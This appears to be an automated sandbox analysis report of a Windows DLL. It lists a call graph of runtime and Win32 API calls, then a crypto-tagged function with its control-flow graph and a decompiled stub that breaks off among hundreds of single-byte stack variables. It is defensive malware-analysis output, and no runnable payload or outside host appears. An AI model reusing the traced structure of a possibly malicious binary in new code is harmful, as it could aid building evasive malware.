7875->7880 7884 10007aa0 7876->7884 7882 10001140 __initmbctable 54 API calls 7877->7882 7900 10007a50 7878->7900 7879->7859 7880->7857 7882->7858 7885 10007aa9 7884->7885 7898 10007b2f 7884->7898 7886 10007ac3 7885->7886 7887 10001140 __initmbctable 54 API calls 7885->7887 7888 10007ad5 7886->7888 7889 10001140 __initmbctable 54 API calls 7886->7889 7887->7886 7890 10001140 __initmbctable 54 API calls 7888->7890 7891 10007ae7 7888->7891 7889->7888 7890->7891 7892 10007af9 7891->7892 7894 10001140 __initmbctable 54 API calls 7891->7894 7893 10007b0b 7892->7893 7895 10001140 __initmbctable 54 API calls 7892->7895 7896 10007b1d 7893->7896 7897 10001140 __initmbctable 54 API calls 7893->7897 7894->7892 7895->7893 7896->7898 7899 10001140 __initmbctable 54 API calls 7896->7899 7897->7896 7898->7867 7899->7898 7901 10007a55 7900->7901 7905 10007a92 7900->7905 7902 10007a6e 7901->7902 7903 10001140 __initmbctable 54 API calls 7901->7903 7904 10001140 __initmbctable 54 API calls 7902->7904 7906 10007a80 7902->7906 7903->7902 7904->7906 7905->7864 7906->7905 7907 10001140 __initmbctable 54 API calls 7906->7907 7907->7905 7909 10005f32 7908->7909 7910 10007869 7908->7910 7909->7870 7911 10001140 __initmbctable 54 API calls 7910->7911 7912 1000787a 7911->7912 7913 10001140 __initmbctable 54 API calls 7912->7913 7914 10007883 7913->7914 7915 10001140 __initmbctable 54 API calls 7914->7915 7916 1000788c 7915->7916 7917 10001140 __initmbctable 54 API calls 7916->7917 7918 10007895 7917->7918 7919 10001140 __initmbctable 54 API calls 7918->7919 7920 1000789e 7919->7920 7921 10001140 __initmbctable 54 API calls 7920->7921 7922 100078a7 7921->7922 7923 10001140 __initmbctable 54 API calls 7922->7923 7924 100078af 7923->7924 7925 10001140 __initmbctable 54 API calls 7924->7925 7926 100078b8 7925->7926 7927 10001140 __initmbctable 54 API calls 7926->7927 7928 100078c1 7927->7928 7929 10001140 __initmbctable 54 API calls 7928->7929 7930 100078ca 7929->7930 7931 10001140 __initmbctable 54 API calls 7930->7931 7932 100078d3 7931->7932 7933 10001140 __initmbctable 54 API calls 7932->7933 7934 100078dc 7933->7934 7935 10001140 __initmbctable 54 API calls 7934->7935 7936 100078e5 7935->7936 7937 10001140 __initmbctable 54 API calls 7936->7937 7938 100078ee 7937->7938 7939 10001140 __initmbctable 54 API calls 7938->7939 7940 100078f7 7939->7940 7941 10001140 __initmbctable 54 API calls 7940->7941 7942 10007900 7941->7942 7943 10001140 __initmbctable 54 API calls 7942->7943 7944 1000790c 7943->7944 7945 10001140 __initmbctable 54 API calls 7944->7945 7946 10007918 7945->7946 7947 10001140 __initmbctable 54 API calls 7946->7947 7948 10007924 7947->7948 7949 10001140 __initmbctable 54 API calls 7948->7949 7950 10007930 7949->7950 7951 10001140 __initmbctable 54 API calls 7950->7951 7952 1000793c 7951->7952 7953 10001140 __initmbctable 54 API calls 7952->7953 7954 10007948 7953->7954 7955 10001140 __initmbctable 54 API calls 7954->7955 7956 10007954 7955->7956 7957 10001140 __initmbctable 54 API calls 7956->7957 7958 10007960 7957->7958 7959 10001140 __initmbctable 54 API calls 7958->7959 7960 1000796c 7959->7960 7961 10001140 __initmbctable 54 API calls 7960->7961 7962 10007978 7961->7962 7963 10001140 __initmbctable 54 API calls 7962->7963 7964 10007984 7963->7964 7965 10001140 __initmbctable 54 API calls 7964->7965 7966 10007990 7965->7966 7967 10001140 __initmbctable 54 API calls 7966->7967 7968 1000799c 7967->7968 7969 10001140 __initmbctable 54 API calls 7968->7969 7970 100079a8 7969->7970 7971 10001140 __initmbctable 54 API calls 7970->7971 7972 100079b4 7971->7972 7973 10001140 __initmbctable 54 API calls 7972->7973 7974 100079c0 7973->7974 7975 10001140 __initmbctable 54 API calls 7974->7975 7976 100079cc 7975->7976 7977 10001140 __initmbctable 54 API calls 7976->7977 7978 100079d8 7977->7978 7979 10001140 __initmbctable 54 API calls 7978->7979 7980 100079e4 7979->7980 7981 10001140 __initmbctable 54 API calls 7980->7981 7982 100079f0 7981->7982 7983 10001140 __initmbctable 54 API calls 7982->7983 7984 100079fc 7983->7984 7985 10001140 __initmbctable 54 API calls 7984->7985 7986 10007a08 7985->7986 7987 10001140 __initmbctable 54 API calls 7986->7987 7988 10007a14 7987->7988 7989 10001140 __initmbctable 54 API calls 7988->7989 7990 10007a20 7989->7990 7991 10001140 __initmbctable 54 API calls 7990->7991 7992 10007a2c 7991->7992 7993 10001140 __initmbctable 54 API calls 7992->7993 7994 10007a38 7993->7994 7995 10001140 __initmbctable 54 API calls 7994->7995 7995->7909 7997 100054a8 7996->7997 8001 100053a1 __initmbctable 7996->8001 8000 10001050 __initmbctable 8 API calls 7997->8000 8003 10005586 8000->8003 8017 10007700 8001->8017 8003->7828 8005 10007300 __initmbctable 92 API calls 8005->7997 8008 10001059 8006->8008 8007 10001064 8007->7833 8008->8007 8009 100018f0 RtlCaptureContext RtlLookupFunctionEntry 8008->8009 8010 10001934 RtlVirtualUnwind 8009->8010 8011 10001975 8009->8011 8012 10001997 IsDebuggerPresent 8010->8012 8011->8012 8150 10004370 8012->8150 8014 100019f6 SetUnhandledExceptionFilter UnhandledExceptionFilter 8015 10001a14 __initmbctable 8014->8015 8016 10001a1e GetCurrentProcess TerminateProcess 8014->8016 8015->8016 8016->7833 8018 10007737 8017->8018 8024 100077a5 8017->8024 8019 10002e50 __initmbctable 59 API calls 8018->8019 8021 10007740 8019->8021 8023 1000777c 8021->8023 8025 10006170 __initmbctable 59 API calls 8021->8025 8023->8024 8026 10005590 __initmbctable 59 API calls 8023->8026 8037 10007470 8024->8037 8025->8023 8026->8024 8027 10007300 8028 10007337 8027->8028 8036 100073a5 8027->8036 8029 10002e50 __initmbctable 59 API calls 8028->8029 8030 10007340 8029->8030 8032 1000737c 8030->8032 8034 10006170 __initmbctable 59 API calls 8030->8034 8035 10005590 __initmbctable 59 API calls 8032->8035 8032->8036 8034->8032 8035->8036 8103 10006d90 8036->8103 8038 1000753d 8037->8038 8039 100074c3 GetStringTypeW 8037->8039 8040 100074e1 8038->8040 8042 100074f8 8038->8042 8039->8040 8041 100074ed GetLastError 8039->8041 8043 10007536 8040->8043 8044 10007564 MultiByteToWideChar 8040->8044 8041->8038 8041->8042 8061 10007e00 GetLocaleInfoA 8042->8061 8046 10001050 __initmbctable 8 API calls 8043->8046 8044->8043 8049 10007596 8044->8049 8048 10005441 8046->8048 8047 1000752d 8047->8043 8050 10007694 GetStringTypeA 8047->8050 8070 10007e70 8047->8070 8048->8027 8049->8043 8053 10001070 __initmbctable 54 API calls 8049->8053 8056 100075b5 __initmbctable 8049->8056 8050->8043 8051 100076b9 8050->8051 8054 10001140 __initmbctable 54 API calls 8051->8054 8053->8056 8054->8043 8056->8043 8057 10007618 MultiByteToWideChar 8056->8057 8058 10007652 8057->8058 8059 1000763a GetStringTypeW 8057->8059 8058->8043 8060 10001140 __initmbctable 54 API calls 8058->8060 8059->8058 8060->8043 8062 10007e32 8061->8062 8063 10007e49 8061->8063 8064 10001050 __initmbctable 8 API calls 8062->8064 8095 100013b0 8063->8095 8066 10007e44 8064->8066 8066->8047 8067 10007e53 8068 10001050 __initmbctable 8 API calls 8067->8068 8069 10007e60 8068->8069 8069->8047 8071 10007fb3 8070->8071 8072 10007ed7 GetCPInfo 8070->8072 8075 10001050 __initmbctable 8 API calls 8071->8075 8073 10007ee9 8072->8073 8074 10007f8c MultiByteToWideChar 8072->8074 8073->8074 8076 10007ef3 GetCPInfo 8073->8076 8074->8071 8080 10007f0e 8074->8080 8077 10007685 8075->8077 8076->8074 8078 10007f08 8076->8078 8077->8043 8077->8050 8078->8074 8078->8080 8079 10007f46 __initmbctable 8079->8071 8082 10007fe5 MultiByteToWideChar 8079->8082 8080->8071 8080->8079 8081 10001070 __initmbctable 54 API calls 8080->8081 8081->8079 8083 10008044 8082->8083 8084 1000800b 8082->8084 8083->8071 8087 10001140 __initmbctable 54 API calls 8083->8087 8085 10008010 WideCharToMultiByte 8084->8085 8086 1000804c 8084->8086 8085->8083 8088 10008054 WideCharToMultiByte 8086->8088 8089 1000807f 8086->8089 8087->8071 8088->8083 8088->8089 8090 10003210 __initmbctable 54 API calls 8089->8090 8091 1000808c 8090->8091 8091->8083 8092 10008094 WideCharToMultiByte 8091->8092 8092->8083 8093 100080bc 8092->8093 8094 10001140 __initmbctable 54 API calls 8093->8094 8094->8083 8096 10002680 8095->8096 8097 1000269e 8096->8097 8098 100026af 8096->8098 8099 100022f0 __initmbctable 81 API calls 8097->8099 8100 100022f0 __initmbctable 81 API calls 8098->8100 8102 100026aa 8099->8102 8101 100026b6 8100->8101 8101->8067 8102->8067 8104 10006dea LCMapStringW 8103->8104 8107 10006e0f 8103->8107 8105 10006e15 GetLastError 8104->8105 8104->8107 8105->8107 8106 10007102 8111 10007e00 __initmbctable 81 API calls 8106->8111 8107->8106 8108 10006e91 8107->8108 8109 100070fa 8108->8109 8110 10006eb1 MultiByteToWideChar 8108->8110 8112 10001050 __initmbctable 8 API calls 8109->8112 8110->8109 8117 10006ee4 8110->8117 8113 1000712d 8111->8113 8114 10005473 8112->8114 8113->8109 8115 100072a3 LCMapStringA 8113->8115 8116 10007147 8113->8116 8114->8005 8115->8109 8118 10007e70 __initmbctable 69 API calls 8116->8118 8117->8109 8119 10001070 __initmbctable 54 API calls 8117->8119 8124 10006f18 __initmbctable 8117->8124 8120 10007160 8118->8120 8119->8124 8120->8109 8121 10007168 LCMapStringA 8120->8121 8122 10007287 8121->8122 8123 1000719d 8121->8123 8126 10001140 __initmbctable 54 API calls 8122->8126 8123->8122 8130 10001070 __initmbctable 54 API calls 8123->8130 8137 100071b7 __initmbctable 8123->8137 8124->8109 8125 10006f66 MultiByteToWideChar 8124->8125 8127 10006f91 LCMapStringW 8125->8127 8128 100070e8 8125->8128 8131 1000728f 8126->8131 8127->8128 8129 10006fb7 8127->8129 8128->8109 8132 10001140 __initmbctable 54 API calls 8128->8132 8133 10006fc0 8129->8133 8136 10006ffd 8129->8136 8130->8137 8131->8109 8134 10001140 __initmbctable 54 API calls 8131->8134 8132->8109 8133->8128 8135 10006fd7 LCMapStringW 8133->8135 8134->8109 8135->8128 8136->8128 8139 10001070 __initmbctable 54 API calls 8136->8139 8143 10007029 __initmbctable 8136->8143 8137->8122 8138 1000721c LCMapStringA 8137->8138 8140 10007267 8138->8140 8141 10007247 8138->8141 8139->8143 8140->8122 8144 10001140 __initmbctable 54 API calls 8140->8144 8142 10007e70 __initmbctable 69 API calls 8141->8142 8142->8140 8143->8128 8145 10007073 LCMapStringW 8143->8145 8144->8122 8146 10007093 WideCharToMultiByte 8145->8146 8147 100070d6 8145->8147 8146->8147 8147->8128 8149 10001140 __initmbctable 54 API calls 8147->8149 8149->8128 8150->8014 8152 10002e50 __initmbctable 59 API calls 8151->8152 8153 100067f2 8152->8153 8154 1000681f 8153->8154 8155 10006170 __initmbctable 59 API calls 8153->8155 8156 10005590 __initmbctable 59 API calls 8154->8156 8157 1000683b 8154->8157 8155->8154 8156->8157 8157->7761 8159 10004840 8158->8159 8160 10002b00 __initmbctable 3 API calls 8159->8160 8161 10001bf7 8159->8161 8160->8159 8161->7708 8162 10002a10 8161->8162 8165 100028e0 8162->8165 8164 10002a19 8164->7708 8166 1000290a 8165->8166 8167 10002bd0 __initmbctable 3 API calls 8166->8167 8168 10002917 8167->8168 8169 10002bd0 __initmbctable 3 API calls 8168->8169 8170 10002926 8169->8170 8173 100029a3 8170->8173 8181 10006490 8170->8181 8173->8164 8174 10002b00 __initmbctable 3 API calls 8174->8173 8175 1000296e 8175->8173 8177 100032b0 58 API calls 8175->8177 8178 10002985 8175->8178 8177->8178 8178->8173 8179 10002b00 __initmbctable 3 API calls 8178->8179 8180 1000299a 8179->8180 8180->8174 8182 100064c8 HeapSize 8181->8182 8183 10006499 8181->8183 8184 10002270 __initmbctable 54 API calls 8183->8184 8185 1000649e 8184->8185 8186 10004700 __initmbctable 9 API calls 8185->8186 8187 1000294a 8186->8187 8187->8175 8187->8180 8188 100032b0 8187->8188 8191 100032e0 8188->8191 8190 10003322 8190->8175 8191->8190 8192 10003300 Sleep 8191->8192 8193 100066c0 8191->8193 8192->8190 8192->8191 8194 100066d9 8193->8194 8195 100066f4 8194->8195 8207 1000670a 8194->8207 8196 10001140 __initmbctable 54 API calls 8195->8196 8199 100066f9 8196->8199 8197 1000675e 8198 100022b0 __initmbctable 3 API calls 8197->8198 8201 10006766 8198->8201 8199->8191 8200 10006720 HeapReAlloc 8200->8207 8211 1000676b __initmbctable 8200->8211 8202 10002270 __initmbctable 54 API calls 8201->8202 8202->8211 8203 100067a5 8204 10002270 __initmbctable 54 API calls 8203->8204 8206 100067aa GetLastError 8204->8206 8205 100022b0 __initmbctable 3 API calls 8205->8207 8206->8211 8207->8197 8207->8200 8207->8203 8207->8205 8208 1000678c 8207->8208 8209 10002270 __initmbctable 54 API calls 8208->8209 8210 10006791 GetLastError 8209->8210 8210->8211 8211->8191 8213 10002ef9 8212->8213 8239 10003010 8212->8239 8214 10002f18 8213->8214 8215 10001140 __initmbctable 54 API calls 8213->8215 8216 10002f26 8214->8216 8217 10001140 __initmbctable 54 API calls 8214->8217 8215->8214 8218 10002f34 8216->8218 8219 10001140 __initmbctable 54 API calls 8216->8219 8217->8216 8220 10002f42 8218->8220 8221 10001140 __initmbctable 54 API calls 8218->8221 8219->8218 8222 10002f50 8220->8222 8223 10001140 __initmbctable 54 API calls 8220->8223 8221->8220 8224 10002f61 8222->8224 8225 10001140 __initmbctable 54 API calls 8222->8225 8223->8222 8226 10002f79 8224->8226 8228 10001140 __initmbctable 54 API calls 8224->8228 8225->8224 8227 10004600 __initmbctable 54 API calls 8226->8227 8231 10002f83 8227->8231 8228->8226 8229 10002fb1 8242 100044d0 LeaveCriticalSection 8229->8242 8231->8229 8233 10001140 __initmbctable 54 API calls 8231->8233 8233->8229 8239->7728 8244 10001070 __initmbctable 54 API calls 8243->8244 8247 1000145e 8244->8247 8245 1000147c 8245->7559 8246 100022b0 __initmbctable 3 API calls 8246->8247 8247->8245 8247->8246 8248 10001070 __initmbctable 54 API calls 8247->8248 8251 10001482 8247->8251 8248->8247 8249 100014c8 8272 100026e0 8249->8272 8251->8249 8253 10002a10 59 API calls 8251->8253 8252 100014d9 8280 10002a30 8252->8280 8253->8249 8255 100014ef 8283 10008140 FormatMessageW MessageBoxW LocalFree 8256->8283 8258 10009278 PostMessageW 8258->7552 8259->7575 8284 10010b80 8260->8284 8262 10001017 8262->7581 8264 10001200 __initmbctable 8263->8264 8265 100082db LoadIconW LoadCursorW LoadIconW RegisterClassExW 8264->8265 8265->7582 8267 10009eeb 8266->8267 8268 10009edb 8266->8268 8267->7585 8267->7592 8287 10009b30 CreateDialogParamW 8268->8287 8270 10009ee7 8270->8267 8271 10009eef ShowWindow UpdateWindow 8270->8271 8271->8267 8273 10002708 8272->8273 8274 1000277c 8272->8274 8275 1000275d 8273->8275 8276 10001070 __initmbctable 54 API calls 8273->8276 8274->8252 8275->8252 8277 1000272d 8276->8277 8278 10002746 8277->8278 8279 10005250 __initmbctable 54 API calls 8277->8279 8278->8252 8279->8278 8282 10002aac 8280->8282 8281 10002adc RaiseException 8281->8255 8282->8281 8283->8258 8285 10010b93 CoUninitialize 8284->8285 8286 10010b99 8284->8286 8285->8286 8286->8262 8288 10009b71 SetWindowPos 8287->8288 8299 10009ba2 8287->8299 8289 10009ba9 ShowWindow CreateDialogParamW 8288->8289 8288->8299 8290 10009bf7 GetWindowRect 8289->8290 8289->8299 8291 10009c11 SetWindowPos 8290->8291 8290->8299 8292 10009c4e GetWindowRect 8291->8292 8291->8299 8293 10009c64 SetWindowPos 8292->8293 8292->8299 8294 10009cbd 8 API calls 8293->8294 8293->8299 8295 10009d88 8294->8295 8294->8299 8296 10009dc8 LoadStringW 8295->8296 8295->8299 8297 10009df1 SetWindowTextW 8296->8297 8296->8299 8298 10009e0d SendMessageW 8297->8298 8297->8299 8298->8299 8299->8270 8431 100064e0 8432 10006521 8431->8432 8434 100064f7 8431->8434 8433 10002bd0 __initmbctable 3 API calls 8432->8433 8436 1000653c 8432->8436 8433->8436 8434->8432 8437 10004960 8434->8437 8438 10002e50 __initmbctable 59 API calls 8437->8438 8439 10004969 8438->8439 8442 10006c70 8439->8442 8443 10006c80 8442->8443 8445 10006c8a 8442->8445 8444 10001e60 __initmbctable 54 API calls 8443->8444 8444->8445 8446 10006c9e 8445->8446 8454 100049e0 8445->8454 8448 10006ca7 RtlCaptureContext 8446->8448 8451 10006d06 8446->8451 8449 10001200 __initmbctable 8448->8449 8450 10006cc7 SetUnhandledExceptionFilter UnhandledExceptionFilter 8449->8450 8450->8451 8452 10001050 __initmbctable 8 API calls 8451->8452 8453 1000497e 8452->8453 8453->8432 8455 10004a1f 8454->8455 8456 10002270 __initmbctable 54 API calls 8455->8456 8457 10004c13 8456->8457 8458 10004700 __initmbctable 9 API calls 8457->8458 8459 10004c2d 8458->8459 8459->8446 8522 10009560 8523 10009622 8522->8523 8524 100095b7 8522->8524 8528 100096a5 8523->8528 8529 1000967e 8523->8529 8577 100095d1 8523->8577 8525 100095c4 8524->8525 8526 100095d6 8524->8526 8530 1000960d CreateSolidBrush 8525->8530 8525->8577 8527 100095e7 CreateSolidBrush 8526->8527 8526->8577 8527->8577 8532 100096b6 DestroyWindow 8528->8532 8533 100096d7 8528->8533 8586 100092d0 LoadStringW 8529->8586 8530->8577 8532->8577 8534 10009982 8533->8534 8535 100096ec GetWindowTextW 8533->8535 8539 10009997 LoadStringW 8534->8539 8540 10009a4c 8534->8540 8537 100097a7 SendMessageW 8535->8537 8538 1000970c LoadStringW 8535->8538 8536 10001050 __initmbctable 8 API calls 8541 10009b1d 8536->8541 8547 100097c9 8537->8547 8548 1000989e 8537->8548 8542 10009781 MessageBoxW 8538->8542 8543 1000972f GetLastError 8538->8543 8545 100099ba GetLastError 8539->8545 8546 10009a0c SetWindowTextW SendMessageW 8539->8546 8544 10009a61 LoadStringW 8540->8544 8540->8577 8542->8577 8549 10009748 GetLastError 8543->8549 8550 10009739 GetLastError 8543->8550 8551 10009ad3 SetWindowTextW SendMessageW 8544->8551 8552 10009a84 GetLastError 8544->8552 8553 100099d3 GetLastError 8545->8553 8554 100099c4 GetLastError 8545->8554 8546->8577 8603 10010bf0 8547->8603 8613 10010c60 8548->8613 8557 10009764 8549->8557 8550->8557 8551->8577 8558 10009a9d GetLastError 8552->8558 8559 10009a8e GetLastError 8552->8559 8560 100099ef 8553->8560 8554->8560 8564 10009260 4 API calls 8557->8564 8563 10009ab9 8558->8563 8559->8563 8567 10009260 4 API calls 8560->8567 8574 10009260 4 API calls 8563->8574 8564->8577 8565 100098c7 8575 100092a0 3 API calls 8565->8575 8566 100098d8 LoadStringW 8570 100098fb GetLastError 8566->8570 8571 1000994d MessageBoxW 8566->8571 8567->8577 8568 100097f2 8610 100092a0 8568->8610 8569 10009803 LoadStringW 8572 10009826 GetLastError 8569->8572 8573 10009878 MessageBoxW 8569->8573 8578 10009914 GetLastError 8570->8578 8579 10009905 GetLastError 8570->8579 8571->8577 8580 10009830 GetLastError 8572->8580 8581 1000983f GetLastError 8572->8581 8573->8577 8574->8577 8575->8577 8577->8536 8582 10009930 8578->8582 8579->8582 8583 1000985b 8580->8583 8581->8583 8584 10009260 4 API calls 8582->8584 8585 10009260 4 API calls 8583->8585 8584->8577 8585->8577 8587 10009331 GetLastError 8586->8587 8592 10009377 __initmbctable 8586->8592 8588 1000934a GetLastError 8587->8588 8589 1000933b GetLastError 8587->8589 8590 10009366 8588->8590 8589->8590 8591 10009260 4 API calls 8590->8591 8593 10009372 8591->8593 8595 10009401 GetOpenFileNameW 8592->8595 8594 10001050 __initmbctable 8 API calls 8593->8594 8596 100094fe 8594->8596 8595->8593 8597 10009493 SetWindowTextW 8595->8597 8596->8577 8597->8593 8598 100094ad GetLastError 8597->8598 8599 100094c6 GetLastError 8598->8599 8600 100094b7 GetLastError 8598->8600 8601 100094e2 8599->8601 8600->8601 8602 10009260 4 API calls 8601->8602 8602->8593 8604 10010c12 8603->8604 8605 10010c3b 8604->8605 8606 10010c1d 8604->8606 8625 100109c0 GetFullPathNameW 8605->8625 8620 10010890 CoCreateInstance 8606->8620 8609 100097e1 8609->8568 8609->8569 8638 10008140 FormatMessageW MessageBoxW LocalFree 8610->8638 8612 100092b8 8612->8577 8614 10010c82 8613->8614 8615 10010ca8 8614->8615 8616 10010c8d 8614->8616 8618 100109c0 61 API calls 8615->8618 8617 10010890 3 API calls 8616->8617 8619 100098b6 8617->8619 8618->8619 8619->8565 8619->8566 8621 100108ef SysAllocString 8620->8621 8622 100108eb SysFreeString 8620->8622 8621->8622 8624 1001096b 8622->8624 8624->8609 8626 10001070 __initmbctable 54 API calls 8625->8626 8627 10010a1a 8626->8627 8628 10010a27 8627->8628 8629 10010a39 GetFullPathNameW 8627->8629 8634 10001140 __initmbctable 54 API calls 8628->8634 8630 10010a95 8629->8630 8631 10010a54 GetLastError 8629->8631 8630->8628 8636 10010ace SysAllocString 8630->8636 8632 10010a6a GetLastError 8631->8632 8633 10010a5e GetLastError 8631->8633 8632->8628 8633->8628 8635 10010b3a SysFreeString 8634->8635 8637 10010b4d 8635->8637 8636->8628 8637->8609 8638->8612 8714 100045e0 LeaveCriticalSection 8460 100108ed 8461 10010958 SysFreeString 8460->8461 8462 1001096b 8461->8462 8719 10009def 8720 10009e0d SendMessageW 8719->8720 8721 10009e3b 8720->8721 8400 10004070 8401 10002db0 __initmbctable 54 API calls 8400->8401 8403 1000408d 8401->8403 8402 10004267 UnhandledExceptionFilter 8403->8402 8404 100040ef 8403->8404 8855 100027f0 8856 10002813 8855->8856 8857 1000281c 8855->8857 8858 10001140 __initmbctable 54 API calls 8856->8858 8858->8857 8463 1000fcf8 8464 1000fd36 VirtualAlloc 8463->8464 8466 1000fd6e __initmbctable 8464->8466 8465 1000fea3 8466->8465 8467 100103f1 LoadStringW 8466->8467 8494 100104db 8466->8494 8468 10010420 LoadStringW 8467->8468 8469 1001048c GetLastError 8467->8469 8468->8469 8471 10010444 LoadStringW 8468->8471 8472 100104a5 GetLastError 8469->8472 8473 10010496 GetLastError 8469->8473 8470 10001050 __initmbctable 8 API calls 8474 100107dd 8470->8474 8471->8469 8475 10010468 LoadStringW 8471->8475 8476 100104c1 8472->8476 8473->8476 8475->8469 8477 100104e7 8475->8477 8478 10009260 4 API calls 8476->8478 8479 10001450 60 API calls 8477->8479 8478->8494 8480 100104f1 8479->8480 8482 10010519 8480->8482 8514 10010bb0 CoInitializeEx 8480->8514 8483 100105c2 8482->8483 8484 10010558 8482->8484 8485 100082c0 4 API calls 8483->8485 8486 10010594 8484->8486 8488 10001000 _Ref_count CoUninitialize 8484->8488 8487 100105cf 8485->8487 8490 10009260 4 API calls 8486->8490 8489 100105ee GetLastError 8487->8489 8491 10009e50 22 API calls 8487->8491 8488->8486 8492 10010607 GetLastError 8489->8492 8493 100105f8 GetLastError 8489->8493 8490->8494 8495 100105ea 8491->8495 8496 10010623 8492->8496 8493->8496 8494->8470 8495->8489 8497 10010649 LoadAcceleratorsW 8495->8497 8498 10009260 4 API calls 8496->8498 8499 100106ca GetMessageW 8497->8499 8500 1001066f GetLastError 8497->8500 8498->8494 8501 100106e4 IsDialogMessageW 8499->8501 8502 1001075d 8499->8502 8503 10010679 GetLastError 8500->8503 8504 10010688 GetLastError 8500->8504 8506 100106fd 8501->8506 8507 100106ff IsDialogMessageW 8501->8507 8508 10010799 MessageBoxA 8502->8508 8512 10001000 _Ref_count CoUninitialize 8502->8512 8505 100106a4 8503->8505 8504->8505 8510 10009260 4 API calls 8505->8510 8506->8499 8507->8506 8511 1001071a TranslateAcceleratorW 8507->8511 8508->8494 8510->8494 8511->8506 8513 1001073c TranslateMessage DispatchMessageW 8511->8513 8512->8508 8513->8506 8514->8482 8362 1800118e0 8363 18001a804 Process32NextW 8362->8363 8364 1800119fe 8363->8364

                                                                        Executed Functions

                                                                        Function 10009F20 Relevance: 2677.5, APIs: 25, Strings: 1503, Instructions: 3548COMMONCrypto
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 0 10009f20-10009f5d 1 10009f64-1000fc23 call 100013b0 CoInitialize 0->1 2 10009f5f 0->2 7 1000fc25-1000fc27 1->7 8 1000fc2c-1000fc51 call 10001450 1->8 4 100107c8 2->4 6 100107cd-100107e4 call 10001050 4->6 7->6 13 1000fc53-1000fc55 8->13 14 1000fc5a-1000fc7c 8->14 13->6 15 1000fca6-1000fcb2 14->15 16 1000fcb4-1000fcc6 15->16 17 1000fcc8-1000fcef call 100014f0 15->17 16->15 21 1000fcf1-1000fcf3 17->21 22 1000fcfa-1000fd69 VirtualAlloc call 10001200 17->22 21->6 25 1000fd6e-1000fe9d 22->25 27 1000fea3-100103d0 25->27 28 100103d5-100103eb 25->28 28->4 30 100103f1-1001041e LoadStringW 28->30 31 10010420-10010442 LoadStringW 30->31 32 1001048c-10010494 GetLastError 30->32 31->32 33 10010444-10010466 LoadStringW 31->33 34 100104a5-100104ba GetLastError 32->34 35 10010496-100104a3 GetLastError 32->35 33->32 36 10010468-1001048a LoadStringW 33->36 37 100104c1-100104e2 call 10009260 34->37 35->37 36->32 38 100104e7-10010502 call 10001450 36->38 37->6 43 10010523 38->43 44 10010504-10010521 call 10010bb0 38->44 46 1001052f-10010556 43->46 44->46 48 100105c2-100105d4 call 100082c0 46->48 49 10010558-10010580 46->49 56 100105d6-100105ec call 10009e50 48->56 57 100105ee-100105f6 GetLastError 48->57 51 10010582-1001059c call 10001000 49->51 52 1001059e 49->52 55 100105aa-100105bd call 10009260 51->55 52->55 55->6 56->57 66 10010649-1001066d LoadAcceleratorsW 56->66 61 10010607-1001061c GetLastError 57->61 62 100105f8-10010605 GetLastError 57->62 65 10010623-10010644 call 10009260 61->65 62->65 65->6 69 100106ca-100106e2 GetMessageW 66->69 70 1001066f-10010677 GetLastError 66->70 71 100106e4-100106fb IsDialogMessageW 69->71 72 1001075d-10010785 69->72 73 10010679-10010686 GetLastError 70->73 74 10010688-1001069d GetLastError 70->74 76 100106fd 71->76 77 100106ff-10010716 IsDialogMessageW 71->77 78 100107a3 72->78 79 10010787-100107a1 call 10001000 72->79 75 100106a4-100106c5 call 10009260 73->75 74->75 75->6 76->69 82 10010718 77->82 83 1001071a-1001073a TranslateAcceleratorW 77->83 80 100107af-100107c6 MessageBoxA 78->80 79->80 80->6 82->69 86 10010758 83->86 87 1001073c-10010752 TranslateMessage DispatchMessageW 83->87 86->69 87->86
                                                                        C-Code - Quality: 37%
                                                                        			E10009F20(void* __ecx, intOrPtr __edx, void* __esi, long long __rcx, void* __rdx, void* __rdi, void* __rsi, long long __r8, void* __r9, void* _a8, intOrPtr _a16, long long _a24) {
				signed int _v16;
				long long _v24;
				long _v28;
				long _v32;
				long long _v40;
				long long _v48;
				long _v56;
				signed int _v60;
				intOrPtr _v64;
				long long _v72;
				long long _v80;
				long long _v88;
				long long _v96;
				long long _v104;
				long long _v112;
				long long _v120;
				long long _v128;
				signed int _v136;
				char _v184;
				long long _v192;
				signed int _v200;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v224;
				long long _v232;
				long long _v288;
				intOrPtr _v296;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v313;
				char _v314;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				char _v325;
				char _v326;
				char _v327;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v349;
				char _v350;
				char _v351;
				char _v352;
				char _v353;
				char _v354;
				char _v355;
				char _v356;
				char _v357;
				char _v358;
				char _v359;
				char _v360;
				char _v361;
				char _v362;
				char _v363;
				char _v364;
				char _v365;
				char _v366;
				char _v367;
				char _v368;
				char _v369;
				char _v370;
				char _v371;
				char _v372;
				char _v373;
				char _v374;
				char _v375;
				char _v376;
				char _v377;
				char _v378;
				char _v379;
				char _v380;
				char _v381;
				char _v382;
				char _v383;
				char _v384;
				char _v385;
				char _v386;
				char _v387;
				char _v388;
				char _v389;
				char _v390;
				char _v391;
				char _v392;
				char _v393;
				char _v394;
				char _v395;
				char _v396;
				char _v397;
				char _v398;
				char _v399;
				char _v400;
				char _v401;
				char _v402;
				char _v403;
				char _v404;
				char _v405;
				char _v406;
				char _v407;
				char _v408;
				char _v409;
				char _v410;
				char _v411;
				char _v412;
				char _v413;
				char _v414;
				char _v415;
				char _v416;
				char _v417;
				char _v418;
				char _v419;
				char _v420;
				char _v421;
				char _v422;
				char _v423;
				char _v424;
				char _v425;
				char _v426;
				char _v427;
				char _v428;
				char _v429;
				char _v430;
				char _v431;
				char _v432;
				char _v433;
				char _v434;
				char _v435;
				char _v436;
				char _v437;
				char _v438;
				char _v439;
				char _v440;
				char _v441;
				char _v442;
				char _v443;
				char _v444;
				char _v445;
				char _v446;
				char _v447;
				char _v448;
				char _v449;
				char _v450;
				char _v451;
				char _v452;
				char _v453;
				char _v454;
				char _v455;
				char _v456;
				char _v457;
				char _v458;
				char _v459;
				char _v460;
				char _v461;
				char _v462;
				char _v463;
				char _v464;
				char _v465;
				char _v466;
				char _v467;
